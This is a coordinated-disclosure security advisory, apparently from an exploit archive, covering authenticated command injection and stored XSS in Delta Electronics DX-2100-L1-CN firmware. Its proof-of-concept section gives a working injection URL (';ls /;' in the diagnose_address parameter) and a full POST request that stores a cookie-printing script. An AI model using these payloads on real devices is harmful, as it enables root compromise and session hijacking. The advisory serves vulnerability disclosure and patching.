what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Delta Electronics DX-2100-L1-CN 1.5.0.10 Command Injection / XSS

Delta Electronics DX-2100-L1-CN 1.5.0.10 Command Injection / XSS
Posted Dec 9, 2022
Authored by T. Weber | Site cyberdanube.com

Delta Electronics DX-2100-L1-CN version 1.5.0.10 suffers from command injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | c011ce849673992de02ffa60ff745be7e4efb5d267d29dec7c008d33777fc8a8

Delta Electronics DX-2100-L1-CN 1.5.0.10 Command Injection / XSS

Change Mirror Download
CyberDanube Security Research 20221130-0
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities
product| Delta Electronics DX-2100-L1-CN
vulnerable version| V1.5.0.10
fixed version| V1.5.0.12
CVE number| -
impact| High
homepage| https://www.deltaww.com
found| 2022-08-01
by| T. Weber (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------

Vendor description
-------------------------------------------------------------------------------
"Delta, founded in 1971, is a global provider of power and thermal
management
solutions. Its mission statement, "To provide innovative, clean and energy
-efficient solutions for a better tomorrow," focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and
automation,
Delta's business categories include Power Electronics, Automation, and
Infrastructure."

Source: https://www.deltaww.com/en-US/about/aboutProfile


Vulnerable versions
-------------------------------------------------------------------------------
DX-2100-L1-CN / V1.5.0.10


Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection
An authenticated command injection has been identified in the web
configuration
service of the device. It can be used to execute system commands on the
OS from
the device in the context of the user "root". Therefore, a full
compromization
of the device is possible by having credentials for the web service only.

2) Stored Cross-Site Scripting
A stored cross-site scripting vulnerability has been identified in the
function
"net diagnosis" on the device's web configuration service. This can be
exploited in the context of a victim's session.


Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The parameter "diagnose_address" contains the payload ";ls /;", which
basically
prints the content of the root directory to the serial terminal of the
device.

http://192.168.3.150/lform/net_diagnose?action=diagnose&diagnose_type=0&diagnose_address=;ls%20/;

The output can be seen in the context of a virtualized firmware clone,
as used
to find this vulnerability, but is usually invisible to a customer.
Therefore,
a more visible payload may be commands that interact via the network, like
";ping 192.168.0.10;". This command will ping a device on the
corresponding IP
address within the local network.

2) Stored Cross-Site Scripting
The following code prints the current cached cookies of a user's session
to the
screen. The JavaScript code will be stored on the device permanently.
===============================================================================
POST /lform/urlfilter?action=save HTTP/1.1
Host: 192.168.3.150
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Connection: keep-alive
Cookie: language=en_US; userindex=1; loginexpire=1648630746607; session=30

lan_ipaddr=192.168.5.5&lan_netmask=255.255.255.0&src_addr_start=&src_addr_end=&editnum=0&bfilter_urllist=0&url_addr=<script>alert(document.cookie)</script>&src_addr_type=0&filter_state=1
===============================================================================

The vulnerabilities were manually verified on an emulated device by
using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
-------------------------------------------------------------------------------
Update to firmware version V1.5.0.12.

Workaround
-------------------------------------------------------------------------------
None


Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends Delta Electronics customers to upgrade the
firmware to
the latest version available.


Contact Timeline
-------------------------------------------------------------------------------
2022-08-02: Contacting Delta Electronics.
2022-08-10: Vendor requested the advisory without encryption; Sent
advisory to
Delta Electronics.
2022-08-16: Security contact asked few questions regarding responsible
disclosure; Sent answers.
2022-08-30: Asked for an update.
2022-09-01: Vendor responded, that they will need more time to resolve the
issues; Provided additional 30 days (until 2022-11-02) for
patching.
2022-10-11: Asked for an update.
2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted
release date to this date.
2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted
advisory
release date to the same day.
2022-10-17: Asked for an update regarding the release; No answer.
2022-10-18: Asked for an update and shifted release date to 2022-10-22.
2022-10-19: Vendor responded, that there were problems at releasing the
patch.
Contact stated, that the patch will delay until end of
November.
2022-10-21: Asked vendor for a concrete release date; No answer.
2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors
website.
2022-10-30: Vendor confirmed fixes. Coordinated release of security
advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close